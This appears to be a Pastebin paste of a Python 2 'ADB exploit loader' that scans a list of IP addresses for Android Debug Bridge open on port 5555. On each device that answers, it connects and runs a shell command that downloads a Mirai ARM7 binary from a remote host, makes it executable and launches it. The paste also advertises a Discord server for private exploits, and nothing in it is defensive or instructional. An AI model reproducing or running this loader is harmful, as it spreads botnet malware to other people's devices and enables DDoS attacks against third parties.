Advertisement
xB4ckdoorREAL

[ADB EXPLOIT LOADER]

Jan 3rd, 2019
1,700
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.76 KB | None | 0 0
  1. #Install android tools before use this shit! Join my discord: [Private NetService and priv exploit): https://discord.gg/PTW3yPp
  2.  
  3. import sys
  4. import threading
  5. import requests
  6. import os
  7. import socket
  8. import time
  9. from Queue import *
  10. from threading import Thread
  11.  
  12. if len(sys.argv) < 3:
  13.     sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list] [output file]")
  14.  
  15. ips = open(sys.argv[1], "r").readlines()
  16. queue = Queue()
  17. queue_count = 0
  18.  
  19. info = open(str(sys.argv[1]),'a+')
  20. output_file = sys.argv[2]
  21.  
  22. def rtek(ip):
  23.     ip = str(ip).rstrip("\n")
  24.     try:
  25.         adb = socket.socket()
  26.         adb.settimeout(5)
  27.         adb.connect((ip,5555))
  28.         print "ONLINE:\033[32m %s\033[37m"%(ip)
  29.         os.system("echo "+ip+" >> "+output_file+"")
  30.         os.system("adb connect "+ip+"")
  31.         time.sleep(5);
  32.         os.system("adb -s "+ip+":5555 shell \"cd /data/local/tmp/; wget http://b4ckdoorlickmyreaper/binz/mirai.arm7 -Oxd123456; chmod 777 xd123456; ./xd123456 adb; exit\"")
  33.         adb.close()
  34.     except Exception:
  35.         print "OFFLINE:\033[31m %s\033[37m"%(ip)
  36.         adb.close()
  37.         pass
  38.  
  39.  
  40. def main():
  41.     global queue_count
  42.     for line in ips:
  43.         line = line.strip("\r")
  44.         line = line.strip("\n")
  45.         queue_count += 1
  46.         sys.stdout.write("\r[%d] Added to queue" % (queue_count))
  47.         sys.stdout.flush()
  48.         queue.put(line)
  49.     sys.stdout.write("\n")
  50.     i = 0
  51.     while i != queue_count:
  52.         i += 1
  53.         try:
  54.             input = queue.get()
  55.             thread = Thread(target=rtek, args=(input,))
  56.             thread.start()
  57.             time.sleep(0.01)
  58.         except KeyboardInterrupt:
  59.             os.kill(os.getpid(), 9)
  60.     thread.join()
  61.     return
  62.  
  63.  
  64. if __name__ == "__main__":
  65.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement